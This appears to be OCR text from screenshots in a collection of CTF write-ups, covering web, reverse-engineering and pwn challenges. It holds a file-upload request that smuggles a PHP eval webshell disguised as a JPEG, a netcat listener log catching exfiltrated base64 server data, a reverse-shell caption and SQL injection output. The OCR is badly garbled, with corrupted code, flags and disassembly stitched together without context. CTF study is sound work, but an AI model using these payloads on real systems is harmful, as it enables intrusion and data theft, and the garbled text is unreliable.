Host: ctf.sobug.com

Proxy-Connection: keep-alive

Content-Length: 308

Cache-Control: max-age=0

Accept: texthtml, applicationfxhtrml+xml, applicationfxml;q=0.8,imagefwvebp,”";g=0.8

Origin: http://ctf.sobug,.com

User-Agent: Mozilla/5.0 (Windows NT 6.1, WOWB4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0,2125,111 Safari/537.36
Content-Type: multipart/form-data; boundary—WebKitFormBoundary 2myvakv3oztG7J0v
Referer: http://ctf.sobug,.com/hack_game/§€3096620b8a89d1/index.php

Accept-Encoding: gzip,deflate

Accept-Language: en,zh-CN;g=0.8,zj/g=0.

Cookie: PHPSESSID=vnpuBdrdplgfSpdmucdgakfa3;
Hm_Ivt_d2084f36b27000a527ep#5d821116de4=1414819556,1414822#41,1414836178,1414840337;
Hm_Ipvt_d2084f36027000a5fe605d821116ded=1414840352

—WebKitFormBouni 2myvaky9oztG7J0v
Content-Disposition: -data; name="file"; filename="test. PHP"
Content-Type: imagefjpegy

<?php eval@_POSTIQTT);?>
—WebKitFormBoundary 2myvakv8oztG7J0v
Content-Disposition: form-data; name="submit"

[ZJ EJ [3 B Type a search term 0 matches
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ul1 = Fopen(&u7,
if (ui1)
<
u10 = Fopen(“TempFile.pyq", “ubs
if ¢ u10)
<

while ( tsub_4O1BO0((int)ui1)
<
U9 = fgete(uii);
if (o =1 )
<
if (v )
<
iF (U2 <= M7 | 00 > 96
<
iF (0o > 6 )
o —= vo % 613
else
uo += v % 115

¥
else
¢
o += 53;
¥

Fpute(us, W;Ecto
3 .COm
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1. C:\Users\ASUS\Desktop\1.flv: 14,195,765% %5
2. C:\Users\ASUS\Desktop\yyy.flv: 14,195,7655F %5
Offsets: +75t#H

4F2B1: 87 00
4F2B2: 82 00
4F2B3: 95 0c
4F2B4: 9B 00
4F2B5:  9E 41
4F2B6: 94 9B

4F2BT: D7 2D
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bl rallil

—— Forwarded message —
From: Your Flag is here<lovercti@126 c
Date: 20165025228 14:32

To: SSCTF{057ef83ac5e460137a894171245MMc2}<blackrabil@126 com>

Subject: [overcti@126 com

congratulations for you!
Your Flag is SSCTF{057ef63ac5e460137a8041712d5Mfc2}

360Z4ei;

i1 ( bobao.350.c0 )
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Crackme - 1

B = E%0ex

i=(sscope.level

Var sum = 8
“or (var i = Sscope.usernane.length - 1; i >= 85
Sum += Sscope.usernane. charCodeAt (1)

i ¢ Sscope.password. Length; iv+)
pazswocdli] + sun2;

'

=g (Cr1+7) | %%

st

= Function & (CrackmeCantroller/Sscope.ansal ~

¥ this: Object
» arguments: Arguments

T

sumz: undefined
undefined
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Listening on [0.0.0.0] (fanily 0, port 8000)

Connection fron [220.181.136.229] port 3000 [tcp/*] occepted (family 2, sport 20933)
POST / HTTP/1.0

Host: 13000

Content-Length: 7368

User-Agent: SAE/Fetchurl -Snlzmymiz Python-url1ib/2.7

Comection: close

Accept-Encoding: identity

Content-Type: application/x-wim-form-urlencoded

M1A3J01G92CopCQUNFXBROU ADTGO2 LB ZGlybm Sy SwYHRoLIRpCSHOMUob MLCGFO0CShY WY HROKFD 7L SZVDFKS pCiNgRGp ooy THNLCHRpbed1GZvc{ BEeXMpdUgcH vamy ACAKCRFQLVHIDOGVH) 1Z0pURUIQTEFURVOERUIVRYAS TERFQLVHC GpERE LT NGRS Ao AGTCAS ICorHS1 BOYHLL Jyng331vcik) ZWLhaHAZYhHoXBSZS5 320K WK QoK TUF 0QUAFUMgPSBBRE LITLHKC
REVEFCQUFUYAITH KICAGICAKZNZdWx®)2000m001 AT CAGTCAFTKAITUnD: AnZGphbrdvL ki LJY2+ | beRL cSTCHOONRKICowb3NGZ3 1L C3F X3B26MIVcicy lywgI2153Fs Jywg) HcbGlOZTHIGIY ICAvc bUnt gogTCAGICAGTCAOQULF 209y s TCAGTCAGTCAGTCROTCAGICAT CAGICHOT 3 TGcGF0aCBOby iCTXRhY 2SS LGLmHYzaMSn TbCGLOZTMC AgTCRGICAGI 1V TRVInD A yng
ICAGICAQICAGTCAGTCAGICAGTCALYBOb3Q0dXNI ZCH3aXRoTHXLGLAZTMLC AGTCAGICAIBBUINXTLIE  200)ycS ICAGICAGICAGTCAGICAQT CAg1B0G30gd AN ZCE3aNRo THLGLOZTMC AGTCAGTCAGJOhPULOND  And g CAGICAGTCAGICAGT CAGTCAGICAGTyBTZX0gdG8GZNLncHkC3RYGHSNIGZy 1 Bsb NhbGhvC3QUIES vdCBLc2VcTHapdGoge3FsaXRUMyAKICAGICAGTCANUESSVCCHICcn. CAOTCAGIC
AgICAGTCAGICAGICAGICATIPNLACKDbyBLoXEOeS B2cHJpbncgZndy IR ZnF HQUTESVACH L2V THdpdiggce3F xR UMyAKICAGTHOK QoK1 M NoCEOONT THpybrilgZndy THRocHgaSZdGF st Ook9uL L BDaGOp Y2V2T Gl 1 ZSBeb3VuZCBOZX 1000 1GHodHAGL YL 53aW tpcGYKaNEub3.L 3dpa2kTGL2dF 971906196251 <191 eVOuYHLLC HoYWxoG31Z2g0bre0 TG SbCH oGOpY2VZIGLAGSE L
ZSBhdnFpbGFibGUgh249VsTGWZXIhdGluZyBzeXNAZL2L 9o TEUTFVuaXggc31 2dGVE CywgY SB2YWx 1 SBvZ1 BOb251 THApbGHGY2F L2UgRGphbmdy THRVIHV2ZSBRQGUGC2F 2003 THRpbAVEL251 IGF2 THROZSBYCGVy VXRpbmcgc312dGVELgo TEmIHI 1bmSpbmcqaMi4qYSBXaSkb3dz TGVudl yb25tZWSATHRoaXMgbXV2dCH  ZSB27X0gdG8qdGh] THINbMIgYXhigehdcgo3 THNSCIR1bSEOAHL 1 THpvbelkuCl
RITUVFWCORSAOTCABNVY AL NoohihZ23nCgo; Exhbed 1YWL TGN, ZGUgZrn3y THR a0 2GFsbGF GoN9ulL{ BBbGngY 2oLy YWAG e LomQgaGy ZToKyBochR Bvd3d3LmcxOGSnd kY29 VuahVZGUVbGFuZ3Vh 2t GHR brpZnL | bR bAGMQUSHVUFHRYSDTGRF 100 2VuLXV-oKUOLURVS JRCAS TDEKL {HgSWY ek T dCBOaG 2 THR TEZb LCBEamFu2280d21shCt
‘YWELTHNVDWUG 3800 LpenF GaOucyBzbyBhcyBub30KTyBabyBsb2FITHR0ZSBpbnR L criShdGLbaF saXphdGLvb Bt Yool cnicuCLVTRVIMThOTDAGVH] 12QoKTyB 17 B5b3lgc2VeTHRooXMgdGBaRmF sc2Us TERGYWSnby8 3aks TGSvdCBmb3 1t YXQgZGFZXMS TGS 1bW] L crig YWSIcCiMg Y2F SZWSKYXIZIGF §Y29yZG1uZyBBbyBOaGUGY3Vy mudCBsb2NhbGUUCLVTRVOMMTBOTDAGVHI 1ZQoKTyBJZ1BSb3Ugc2
VTHRoXMHgdGBgRAF sc2USTERGYWSnbyB 3aMxsTG5vAC L c2UgdGl EZ¥pvbmUt YXdhcrllgZGFOZXRpbAV2L gpVUBV FVFogPSBUCHYI Cgo TEF i c29sdXR1TGZpbGV2eXNOZWGCGFOaCBobyBAaGUZGL yZMNOb3 15 THRoYXQgd21 sbCBob2xkIHVZZXTtdXBsb2F kZW0gZnl sZXMuCiMgRXhhbXBSZTog 19062111211 7GLhL 211 ZGL hLmchd3TLbmN] LifivbS9tZWRpYS3 CKLFRELEXL1PT10PSAn JnoKTyVUicngdGhhdCBo
YWSkbGVZIHROZSBZWRDYSBZZX12ZM0gZnIvbSBNRUR JQVISTOOUL | BNYWE L THN1CmligdG8gdXN1 IGEKTyBOCmF pbGluZyBzbGF2aC4KTyBF eGF t cGx 1 cZogLmh@dHABLY It ZWRDYS 55 YXdyZNS 1755 ]b20vbNVKaNE VT iwg Imh@dHAGL Y91 eGF ¢ CGx1 LmvhSOtZWRpYS81Ck 1FRE 1 BX1VSTCA9TCcn(go TEFi c295dXR1 IHBhdGggdG8gdGh1 IGRpCmY jdG3yeSB2dGFAamMgZml SZXMgC2hvdlxk1GJ 1 IGNvDGX1Y3R1ZCBobY
4K1yBEb24ndCBndH0g WS5dGhpbmcgaMadGihpcy BkaXi 1 Y3RvcnkgeHScrilbGY7 i3 THLvaXTgC3RAAGY STGZpbOV2C NgoMaYXEcycolNaYXRpYyS1 HYIYaRpcrSdGOyaNV2 GFUZCBpb{ BTVEFUSINGSUFUISESV T oo TEVATHINGGUGTCIvaGO¢750¢ TWRp YSOERpY S5 Xy 20 3755 620ve 3RndG Ly TKUIRBVE DX JPT100PSAn woKTySWUkngci)| 24167t 82dGF Gz sDOAC Mg
~RXHOXBSZTogInhOdHABLYOtZWRpYSSS YXdyZWS 255 3b20vC3RhdG] SLyTKULRBVELDKLIPT10gPSBvCySwYXRoL mpval4oQKFTRVOESVIS J3NOYXRp Yy cpCLNUQVRJQ1OVUicugP SAnL 3HQYXRp Yy BnCgpGTEFHIDAGI2ZS YW7MzF L5 YyMDEQY TOWMRTSZ i M 0TIMGNnMz] 1YTVOJwoKTyBBZGRpAGLVDAF sTGxvY 2FGaMOucyBvZ BzdGF GaiMgZnl sZXMKUIRBVEL DRKINRVNFRE1 SUYASTCOK ICAGI CHOUHVOTHNO G
1Z3MgaGVyZSnghGLrZSA1 L ZhvbMUvaHREbCOZAGF 0l TGOy TCID0T93d3cvZGphbmdvL NOYXRpYy TuCi AQTCAS TEF sd2FScyBLc2UgZndyd2FyZCR zbGF zaGyzL CBL dmVuTGOuTF dpbmRvd3uC i AGTCAS TERVb1 dOTGZvcndACBbyB1c2UgYW)zb2x ] dGacGFOatMsTGSvACBy ZNxhdGl 2ZSEwYXRocyAKK QoK Ty BMaXNOT GO GZpbm.c1 B3bGF 2c2V2THROYXQga25vdyBob3cgdGBgZnluZCBZdGFoMaZnl sZXMg.
OWAKTyB2YXIph3V2 G, Y2FOaHucy KU LREVELDRICMVNFRICLOREVSUyASTCoK CAGICdKamFUZ280Y290cH JpY  52GF GoMinckcySecZX 2L IZpbGVTeXWOZWI GalSKZXInLAogICAg 2R Wby 3b250cal  LWOYXRpY 2ZpbGVzLaZpbek] crbQiEnRGly ZNNDH3JpXNGAHSICZXInLA03 ICAGICAKGmFuZ2B.Y29uch Y 520G oainlt cySechSKZX 2L KR Za 1HRTGSy YW\ R ZGVy)ywKKQoKIy
BNYWELTHR0aHadWSpcXVLLChbrgZG9u] 30gc2hhcrlgaXDgd21 daCBhon  bZRSLapTRUNSRVRSOVZID0g) 22 R FNDZ Yo YVAaS gtV eOGHBAHI X0 F2Y Ny INEzbeQS K- £SHCE oK TyEMaNGTGImT GG Y] cyB0aGFO1Gb3cgaGa3THRYTGLE GOy BOZNIWbGHOZMGZnvbSE2YXph V2 THAVAX) S IMUCLRFTVEMOVRFXGXPOURFULNGP SAGC AgICANZGphbmL R XES IR Ly
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# WRL prefix for static files.

# Example: "http://media. Lawrence. con/static/”
STATIC_ROOT = 0s.path. join(BASE_DIR, 'static')
STATICARL = '/static/"

FLAG = *Flag{31e262014040200F7424c9970c39c05}

# Additional locations of static files

STATICFILES_DIRS = (
# Put strings here, like */hose/htnl/static” or "C:/wm/djongo/static’
# Almays use forward slashes, even on Windows.

# Don't. forget to use absolute paths, sva path
) FEOLEGE PBBbao.360.n )
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signed int _ cdecl guery number 8@4916@(int index, int *number, history_
{
signed int result; // eax@s

if ( index >= @ && index <= history_buff->count &% number )
{

if ( (history_buff->canary ~ history_buff->count) != rand_val )

puts("[*E*] Overwritten detected!");
exit(e);
}
*number = *((_DWORD *)&history_buff->number_buff + index);
result = 1;
}
else
{
result = 0;
1 360Z4EIR ( bobao380.cn )
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Bx00460986
Bx00400989
0x0040098¢
Bx0040098f
0x00460993
Bx00400996
0x00400999
Bx004009a0
0x004609a3
Bx004009a5
0x004009ac
Bx004009ae
ip:

Bx004009b6
0x004609b8
Bx004009be

4889d(

4801c0
4801d0
48c1e002
4829c1
4889ca
0fb692281360.
8b45ec

4898
0fb680801260.
31de

83fe07

89c2

8bd5ec

4898
889010136000

mov. rax, rdx

add rax, rax

add rax, rifx

shi rax, 2

sub rex, rax

mov rix, rex

movzx adx, byte [rdx + Ox601328] ; [0x601328:1]=97
mov eax, dword [rbp-local 2 4]

cdge )

movzx eax, byte [rax + Ox601280] ; [0x601280:11=90 ; “ZzAWZF9DciRrMITFZzBfb24=" @ Bx601280
Xor eax, edx

xor eax, 7

mov edx, eax

x, dword [rbp-local_2 4
g i = r,,n SECPULSE

mov byte [rax + Ox601316], dl  : [6x601310:1]=0 - = = fif = -

add dword! [rbp-Tocal_2_41, 1
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- text:08OHAZZ7

.text:8804A807

nov d1, [eax] G HE—
moy  duord_8655740, edx

moy  duord_8SFEB78, 0CCOSSOCH
noy  edx, 8

moy  d1, byte ptr duord 8055740
moy  edx, duord_G1FE260[edxx
moy  duord_8655740, edx

moy  duord_8SFES78, §CCOSS0ADN
noy eax, duord 855748

moy  duord_85FEB78, 0000B00NEN
moy  duord_81FEGEQ, eax

moy  duord_81FEGEA, edx

moy  duord_8SFEB78, 0CCOSSOFN
noy  eax, 8

moy  ecx, 8

moy  duord_STFEGEE+2, §

moy  duord_8SFEB78, 1CCOISI90N
moy  ax, word ptr duord S1FEGEQ
mou  cx, word ptr duord S1FEGEN
moy  edx, off_B69620[eaxxh
nou ; PR L2 a0

edx, [edxrecxsh
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% splitURL

Execute

>

Enable Post data || Enable Referrer

Helloworld ~ Message HHHH  Management Panel

n Out

Comment_ID

356a192b7913b04c54574d18c28d46e6395428ab
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it
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‘moxiaoxi
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Database: websec
[2 tables]

| sql_login |
| thekey |

%2 ( bobao360.cn )
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n =4 * (i->info->count + 1);
dest = alloc_mem_diy_8048B11(4 * (i->info->count + 1));
memcpy (dest, i->info, n);

return (unsigned int)sort_sub_menu 80494E4((— *)dest)

et ( bobuo.350.c0 )






OEBPS/Images/0af9a7335734b25a0e8a6b791ebd7fb5.jpg
V3N S 929038
13 = nd5_461000(pass_41630C, V20 — v10, UA)]
iF ( t013)
goto LABEL_21;
aEcoadasndateas;
g

vi7
while (1)
<
22 = w173
1 = 22 < (unsigned _intg)wu1
iF (22 1= w016 )
break;
if ( 1022 )
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# b = base6d. b32decade (| MNQHATDZNGZSAZTINZSCASLZEBSGR43D0JUXAGDINGXDG=—")
N
"can you find my description?!
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Attack:boss,total 13
Attack:boss,total 14
Attacked by boss

Attack:boss,total 15
SSCTF{d677d6baedc780a0515fe23¢
Attack:boss,total 16
Attacked by boss

Attack:boss,total 17
Attack:boss,total 18
Attacked by boss

Attack:boss,total 19

360ZLEE ( bubao.350.cn )
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View Debug Flugins Options Help

BEren e t@iemaswBossn vl BEER0

Wcr | [iiog [ 8 Bredpoints | 8 benery By

1) Call Stack

Lo/seript | Elsymbols | - Referances | i Threas |

R

000000000 s02003|

2000000000
0000300000+

2000000000
0000300000+

2000000000
0000300000+

0000000000 401265
34000431050
0000000000402055
3600040105
0000000000401050
0000000004010
000000000402
0680401
0000000000402088

850C 25 28,00
53 00 00 00 00
84 24 48 FF FF
a110

53

OCmoV rex, Gward per gsif2e]
mov.roxsaword pr ds: frex]
Tea rax,quord per

cmp rax,quord

ub r5p, 13
mov rbx, qward
mov_qword ptr

mov rbx,aword per
mov rax,aword per

Tea roxiquord ptr

mov rdx;qward per

mov aword per <t sorsokrax
oV Fex,quord ptr dz: [rox’ ]
mov word ptr <1 sorsel,rox
mov quord ptr 2<:fropia

mov aword ptr <1 frspis

xor <bg, <bp.

mov gword per ss: rex
mov qward ptr rox
7oV dword per =ihreeiedir e

mov aword per s:frsorsel rax
mov rbx,aword per s=:
mov rax,auord
Tea rix aword
rox;aword
oV aword per

\o

Fex=Co82013840

auord [251=772

000] | ".Text":0000000000401000

0000000000756F A
0000000000302000
000000C052014549
0000000000756FA0.
00000000006DE07D
000000C082047C20
000000C052006220
000000C052008120

'0000000000000000
0000000000000001
'0000000000000000
0000000000000000
EFEFFEFFEFFFFEFE
000000C0s2128010
0000000000000027
0000000000000010

0000000000402000

RELAGS _ 0000000000000310

2 0
oF o
o

PE 0 AF 1
SEo DFO
TioaFs

oS 0028 FS 0053
ES o028 DS o028
cs 0033 S 0028

xs7r0
xs7r1
xs7r2
xa7r3
xs7rs
xa7rs
xs7re

'00000000000000000000
00000000000000000000
'00000000000000000000
00000000000000000000
'00000000000000000000
00000000000000000000
'00000000000000000000
00000000000000000000

gocrackne. df
gocrackne.o|

gocrackne. o
*/erackne?

gocrackne. o

570 Nonzerd
ST1 Nanzera)
572 Nonzerd
ST3 Nanzera)
574 Norzer
TS Nanzera)
576 Nonzer
ST7 Nanzera)

Address =3

| oooa00007 351000 (887 53
0000000077151010,
0000000077151020,
0000000077151030|
0000000077151040!
0000000077152050
0000000077151060/
0000000077151070,
0000000077151080/
0000000077151050
00000000771510A0|
0000000077152080|
00000000771510C0!
0000000077152000|

i Achn. . o
“éo.neu. ..
Tiaba

1973 breakpoint at OO0ODOBO00ABIONG!
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for (i = 5 0 < ugeei)
Cub_L0T00CB0OTE * 1], BS[E * 11D
while ( 11 < 24 )
<
switeh ( vs[ii] )
£
case 1:
S pos_x;
break;
case 2:

++pas
| break;
case 3:
—pos_y3
break
case :
+apos,
break
default
break;
)

iF ( %(Rasc_WOEGIS[10 % pos %] + pos u) 1= 'H' )

( boban380.n )
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15|
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21
22
23
24|
25
P

18 = (COVIE *)BetBuFFAL((int)&nas,

b o i - o A
(6= 0; i <= v2u - 1; ++i )

*(_BYTE *)GetBufFAL((int)auts

ing, i);
rue, i);

if (=018 + 17 1= *(_DUORD x)(salt + & = i) )

<

w21 = 8
LOBYTE(u25) = 85
DeleteString((int)&lutstring);
v25 = ~1;
Deletestring((int)ends_true);
S S AR
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iy =h =

@ Load URL | hitp://localhost/test/fuck php?loginstrladmini[username]=admin
R spliturL
¥ Execute
[7] Enable Post data ] Enable Referrer
Post data

password[1]=admin|

array(1) { ["admin’]=> array(1) { ["username"]=> string(5) "admin" } }

Warning: parse_str() expects parameter 1 to be string, array given in G:\xamp|
array(1) { ["admin’]=> array(1) { ["username"]=> string(5) *admin" } }
array(1) { [1]=> string(7) "admin\" }
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signed int _ cdecl query_by index_8048F5D(int index, _DWORD *a2
{

signed int result; // eax@4
if ( index >= © && history_buff->count >= index && a2 )

*a2 = *((_DWORD *)&history_buff->number_buff + index);
result = 1;
}
else
{
rasult = @;
)
return result;
} 3EUZEAEIE ( bobao380.cn )
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[15] = arrayofChari[13]) || (arrayOfChari(4] != arrayOfChari[s]) || (arrayOfChari[s] != arrayOfChari[2]) || (array0fChari([7] != arrayOfChari[10]));
laramString.charAt(0) + paramString.charAt(4) + paramString.charAT(S) + paramString.chart(12) + paramString.charRt(l) + "+  paramString.charht(13
112, £3, 93, 112, 28, 0, 97, 91
lhar(e];
B: irt)
((char) (stz2. toCharArray() [1]  erreyOfint(i])):

ling.charht(2) + paremString.charht(s) + paremString.charht(10) + paramString.charht(1) + paramString.charht(3) + '+' + paremString.charRt(1l) + '+').
licationContext(), ":) I'm happy to see your Zavorite Toast is Just the same 23 me:hcti(” + paramString + ']', 0).show():






OEBPS/Images/2016031909084931.jpg
XFHEEE MDSHE URLIE JSHmRE ISERMEES ESCAPEfEE: BASES4 L= BE, RE, ERAURLIEE

0cif{C0c0S2d_AnDrow?} MGNOZnDMGNyUzIkXOFuRHIsd299






OEBPS/Images/1d9a8542c21e10321639c003463e1e70.jpg
8BUS Fy
88D EC
880481

25 FFO00000
8BUD F4

8855 EC
8BOCSA

81E1 06FF000)
C1E9 08

33c1

8855 EC
8BOCSA

81E1 0000FF |
C1E9 10
EER

884D F4

8855 EC
8BOCSA

S1E1 000000F
C1E9 18

EER

884D F4

8855 EC
89048

EB o4

66:B8 EBOG
atce

90

74 F9

E8

b

noy
noy
noy
and
noy
noy
noy
and
shr
xor

o

I xcrack

eax,duord ptr ss:[ebp-8xC]
ecx, duord ebp-0x14]
eax,duurd prr ds:[ecxseaxs]
eax, OxFF

ecx,duord ptr ss:[ebp-8xC]
edx, duord ebp-0x14]
ecx,duurd prr ds:[edxsecksl]
ecx, OxFFO0

ecx, 0x8

eax,ecx

edx,duord ptr ss:[ebp-0x14]
ecx,duard pre ds:[edxsecksh]
ecx, BxFF 0900

ecx, x4

eax,ecx

ecx,duard ptr ss:[ebp-0xC]
edx,duord ptr ss:[ebp-0x14]
ecx,duard pre ds:[edxsecksh]
ecx, BxFF 090900

ecx, 019

eax,ecx

ecx,duard ptr ss:[ebp-0xC]
edx,duord ptr ss:[ebp-xik]
dunrd ptr ds:[edxsecke] ear
XCrackPoi.00283ABC

W SECPU

b E8

20— 53 ¢ i

SE
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klroot
Klroot
klroot
klroot
Klroot
Klroot

is “root1dfsf@114.215.146.95 * hctf{ZXwz_ym_dinDIM_daDi_!
on et

using wilheln.freenode.net NL

has been idle 1uhrs 59nins 17secs, signed on Sat Nov 08 23:37:45
is logged in as klroot

End of /WHOIS list.
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86424 un lea esp,

90481130 | > 8BECOS L“v1k nou  ecx, duord ptr [edx<h+OxuOF1CO
oou01137|| . 33cE xor  ecx, esi
oou01139(| . sBFo nou  edi. ecx
oou01138|| . C1E1 13 sl ecx. 0x13
040113 CIEF 0D shr edi. ox0
0401141 03CF agd  ecx, edi
e B i S e el G R W
1 ladd  ecx. edx’
00401140 inc  edx
) agd  esi, ecx
040114F|| . 3R0R cop edx, eax
onuo1151([ = 72 00 gb short oouo1130
o0401153(| > B8 42up0000 |mov  eax, GxuDuZ
o0u01158(| . 66:3905 CoF word ptr [0x4OF1CO], ax
o0u0115F|| -, 0P85 2 00401287
edx= 00000015 =
ecx=FFFFFFFF
D00 100] 42 4D 36 CO 0 60 00 00 00 00 36 00 b0 00 28 0O BiG?
SBAAE 100 08,0, A, 08| 00_88. 0. 40 40 D081 06|18, 40. i .n
9OXOF1E0( 00 00 DO CO B0 O 00 DO 0O B0 0O 00 DO 00 B0
GOLGF170/ 00 00 00 00, 00 00 FF FF FF FF FF FF FF FF FF rr‘.
9040F200( FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
9948F219 FF FF FF FF 56 AE BC 84 42 AE BC 84 2D AE BC 4
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Ve hereby sincerely imvite you and
your company representatives to
attend our 1T canference .
In this conference there vill be
many top mamagers of IT industry
and nany topics will be talked
during the conference, this is related
to the future of ITindustry.dnd the
main purpose of this corference is to
give you nore ideas on IT business view
here. At the same tine to try inplenenting
the agreenent, which 15 under discussion for some tine.

your ansver is right so really'please submit above

(bobao380.n )
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There are a variety o clent side machines that have sccess to certain websites we'd like t
access, We have 2 system In place, called “Opabina Regalls” where we can Intercept and
modify HTTP requests on the fly. Can you Implement same attacks to gain access 1o those
websites?

Opabina Regalis makes s of Protocal Buffers 1o send a short s " of t HTTP.
request for modification

Here's the protocol buffer definition used:





OEBPS/Images/a8523e40abd64d14174742399310ef18.jpg
m [ ide. syesec. com +

a Swar fwww/himl/ 080293890227 fbdaB3efo?I486 celdl of

218, 2. 197. 248 B (1), 2t i) E=Li
v ) upfiles
5] war
= ﬁ — B| upload php
— ﬁ himl || xz=z. php
B index. php

g wOrdpr355_sOurc3_c0d3. zip
xﬁ%%
SecPuIse





OEBPS/Images/3cb8c8590fb2b4dbc329573c5edb96c5.jpg
ST oa - THE
O WEE) WRO) TV B0

+
require(”. /init.php”),

Sicey = “PSreDEGe36”;
Sicey_hash = "7al0baddbeaca3td06da7f2fe2168d53",

3p_key = @3_POST[ password’ ];
Se_nessage = "

Splaintext [ “flaz_Xd [nS dhu-tsst-vnx)

ScipherText = encode(encrypt ($plaintext, $cipher, $mode, $key_hash, $iv), 1).

function checkKey(Skey, Ip_key) [
Jkey hash = ™,
tor(3i=0, $i<strlen(ip_key); §i+9) [
it (Jkey[§1] == $p key[3i)) [
$hash = ma5($key(3i)), 2
for (3k=0, $x<100000; $kFFT1°

2 (bobao380.n )
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il

| Original request_| Edited request | Response |

Raw | Headers | Hex |

HTTP/1.1200 OK
Server: ngini/1.4.7

Date: Sat. 05 Apr 2014 05:11:16 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.5.10
Content-Length: 210

<link rel="stylesheat" type="text/css" hr
<br><br><br><br><br><br><br><br>
You find it! But only admin can see the flag...can you see it2<br>

flag:ACTFL_donot_need_sex_life_fxxks_me_everyday}
& tQ.corn

style.css>
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this = (int)operator new(6x218u);

U2 = (unid mthis;

iF (this )

<
+(_DUORD ®)this = CUerit
SCIVTE <)(tnis + 532) - 8
_nn_Storeu_si128((_ niz6i +)(this + &), nn 10adu_Si128((const _m26i +)0ULputBuf));
onstoreu_si128((_ni28i «)(1his + 20y, nn_loada si128((const _ mizii <)GOutpUtBUF[161)):
o _stareu si128((_n1265 +)(1Nit + 36), _an loadu si128((const _ni8i +)EOutputBuf[32])):
SCHUORD ) (this + 52) = w( OVORD *)GOUEpUEBUF[A8]
#CUORD *)(Lnis + 56) = w(_UORD <)BOUEPULBUF(S2];
_ein_storeu_si126((_n1z6i +)(tis + 264), _mn_loadu_si128((const _n12ei +)TrueAnsu));
onstoreu s1128((_n1261 +)(Inic + 280), A loadu Si128((const _ ni28i +)GTrueAnsu[16]))
on_storeu si128((_n1261 «)(Lhic + 296), _hn loadu si128((const w281 +)&TrueAnsu[32])):
SCOUORD 4)(this + 312) = = OHORD *)eTrueAnsu[48]:
<UD <)CENIs + 916) = wCUORD *)&TrueAnsu[52];

“uftable’;
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crupted[8] = 179334;
crupted[1] = 175544;
crupted2] = 180760;
crupted[3] = 1823663
crupted[s] = 182850;
crupted[S] = 180568;
crupted[6] = 181440;
crupted(7] = 178347;
crupted[8] = 181577;
crupted[9] = 176475;
crupted[10] = 174043;
crupted[11] = 179882;
crupted[12] = 178817;
crupted[13] = 1753455
crupted[14] = 1786963

upted[15] = 1753283

ypte

Deletelinitespace(nsg );

=0

do

<
u6 += inputli] * nsg_Li13
i3

>

while ( < 16 )3

if ( xcripted_ = u6 )
exit(0);

iy

nsy += 100;

+ecrypted_

>
while ( i < 16 );





OEBPS/Images/9393fdd4145c4f1bdb404f7921902548.jpg
~ 57803 1 FlH—%
Bl 0 weblli %

2t waf= 3|

W 2 Reverse shell
VpS, NCim T vpsZwegt 36022451 (| bobro 360






OEBPS/Images/4e824d70d2a8ffd2208e5ff86919675b.jpg
BO41B68E] DS
BOK1B690| 5F
POK1B6AD| 28
POK1B6B0| 3E
POK1BGEA| 81
ROK1B6DO| BO
BOK1BGES| BO

BB
D
79
26
E0
0o
88

88 B8 34
8F 2F|E5
86 B4 o0
36 BA| 17
9 [ b0
59 56 60
B0 BO! BO.

o7
aF
E8
o7
0o
[}
88

97
L3
on
)
0o
[}
88

EC[90 BE 7F 72797 93
28 13 o4 5D 89|97 DD
7 EE 42 85 CCCF E4
70 70 11 78 29|50 9E
84 Cc_c5 4m 53| Bl B8
0700 60 0O 00 DO 0O
89186 B BO 8O/ 8O BO






OEBPS/Images/995231b3e73ff74e806a8ccd7dd5fcd4.jpg
A Y
EXIFERIHE
8#  Canon EOS 20D,

87 BRSEiER Program AE. BSEISST Multi-segment. BRFERME 4173

5% F6E6.3, (R(71/100f, 1SO400

#5550 mm (35 mm equivalent: 55.4 mm), 436 0 deg

&% BTErAulo, BFRISRGB
B 2012:01:05 13:18:59

File

FileType JPEG
MIMEType image/jpeg
ExifByteOrder Big-endian (Motorola, MM)
ImageWidth 504
ImageHeight 336
EncodingProcess

BitsPerSample 8
ColerComponents. 3
YCbCrsubSampling  YCbCra:2.0 (22)
JFIF

JFIFRRE 101
HEERG Inches
XESHE 72

viEnHE 72

IFDO

EigiEs

Baseline OCT. Huffman coding

it Sewchimlasiastionuilicwinliasion Sracinisias Opiioe

Window

Help 179 [ |

File Edit

D SHZES | nRDERD

ARG o

19 1425 [unregistered]

3D 22 38  #include file="8 noname

39 38 2E £00b204e9800958. noname

00 00 00  php" —— .

00 00 00 =

00 00 2
Default Edit Mode
State: modified
Undo level: 1

23696E636CT564652066696C653022386630306232303465393830
3039393682E70687022

Offset: 7

F——
=101 Block:

Undo reverses: ~data pasting

Creation time:

Last write time:

2014/11/01
00:03:27
2014/11/01

08:03:27

15-35 Size: 21
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EERQ LFackiol . HHsGoHs
and duord ptr 55:[ebp-8x1C],ix0
M Xcrackpoi. 062839

nov cax,duord ptr 55:[ebp-ox1C]

inc eax

nou duord ptr s5:[ebp-8x1C],eax

cnp duord ptr ss:[ebp-gxic], o

T Xcrackpoi. 0628302

mou eax,duord ptr 55:[ebp-ox10]

mou eax,duord prr ds:[eaxxisBx209858
nou duord ptr ss:[ebp-oxh],eax

nov eax,duord ptr s5:[ebp-ox10]

Shl eax, bx5

i e

L eex

ShL eck, bk

lea cax,duord ptr ds:[eaxsecksdx2N6376]
nov eck,duord ptr s5:[ebp-8x1C]

nov edx,duord ptr ss:[ebp-oxh]

add eds,duord ptr ds:[eax+ecs=]

nou duord ptr ss:[ebp-bxh],edx

and duord ptr ss:[ebp-6x28],ix0

M XcrackPoi. 0628393

nou cax,duord ptr 55:[ebp-0x28]

inc eax

nou duord ptr ss:[ebp-0x28],eax

nov eax,duord ptr s5:[ebp-6x10]

Shl eax, bx5

i e

0 eox

imul ecx,ecx,Bxd

lea eax,duord ptr ds:[eaxsecksdx2N6376]
nov eck,duord ptr s5:[ebp-8x1C]

nov edi,duord ptr ss:[ebp-0x28]

cmp eds,duord prr ds:[eax+ecs=h]
T xcrackpoi. 6283028

nov cax,duord ptr 55:[ebp-0x8]

mou eck,duord ptr ss:[ebp-oxi]

nov cl,byte ptr ds:[eck]

nov byte ptr ds:[eax],cl

nov eax,duord ptr 55:[ebp-oxi]

inc eax

nou duord ptr ss:[ebp-oxh],eax

nov eax,duord ptr ssi[ebp-ox8]

inc eax

nou aword per ssirenp-odn SBECPILULSE

XCrackPoi . 00;

XCrackPoi . 802839AD - 5
CrackPoi . 0028;
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public function update_profile($username, $new_profile) {
